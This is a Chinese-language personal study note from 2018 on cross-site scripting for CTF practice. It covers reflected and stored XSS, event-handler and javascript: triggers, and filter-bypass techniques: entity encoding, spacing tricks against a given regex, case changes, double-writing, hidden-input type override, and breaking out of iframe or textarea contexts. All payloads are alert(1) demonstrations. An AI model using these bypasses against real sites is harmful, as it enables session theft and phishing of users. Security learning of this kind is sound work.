xss總結--2018自我整理
0x00前言
因為ctf中xss的題目偏少(因為需要機器人在後臺點選手的連線2333),所有寫的比較少
這裡推薦個環境http://test.xss.tv/
0x01xss作用
常見的輸出函式:print()、 print_r()、 echo、 printf()、 sprintf()、 die()、 var_dump()、 var_export()
xss是往頁面中添加了一段程式碼,並且被瀏覽器執行了
反射型將惡意程式碼寫入引數,或者自己伺服器上搭個form表單傳送,用來釣魚
儲存型就等著別人點這個網頁就行了
0x02手段
xss主要出現的地方:文章發表,評論回覆,
xss無非就是要對方的cookie,但是常常會有httponly導致cookie並不能傳到xss平臺,這是一種有效的防禦方式
但是xss預防應該從本質出發,即對該頁面使用者輸入不能被執行
xss觸發方法
利用script標籤執行js
<script>alert(1)</script>
<onclick=alert(1)> =>點選就會觸發
<onmouseover=alert(1)> =>滑鼠移動觸發
能夠使用on事件的標籤
支援on click事件的標籤有<a>, <address>, <area>, <b>, <bdo>, <big>, <blockquote>, <body>, <button>,
<caption>, <cite>, <code>, <dd>, <dfn>, <div>, <dl>, <dt>, <em>, <fieldset>,
<form>, <h1> to <h6>, <hr>, <i>, <img>, <input>, <kbd>, <label>
採用a標籤來做到xss
<a href="javascript:alert(1)" >
0x03bypass方法
採用編碼,把字串可以進行編碼
&# 後接十進位制 => unicode編碼 &#x 後接十六進位制 => unicode編碼
採用標籤中的空隙規則
假設正則是
<\s*(script[^>]*)>([\s\S][^<]*)<\/\s*script>
可以採用
<script>alert(1)</script > ==> 最後有個p和>間有空格繞過
採用雙寫繞過空字元替換
採用大小寫繞過不嚴格的waf
<script> => <Script>
採用引數覆蓋,覆蓋掉hidden引數
<input name="t_sort" value="" onmouseover=alert(1) type="text" type="hidden">
我們輸入的內容為:" onmouseover=alert(1) type="text
有些標籤的優先順序高於",導致執行xss
-
<!--
-
<iframe>
-
<noframes>
-
<noscript>
-
<script>
-
<style>
-
<textarea>
-
<title>
-
<xmp>
具體原理參考連結:https://blog.csdn.net/Bg70PVnyBv1/article/details/79358628?tdsourcetag=s_pcqq_aiomsg
使用方法
<iframe>"</iframe><script>alert(1)</script>"</iframe> #這語句是會彈框的
假設輸入的內容是
</iframe><script>alert(1)</script>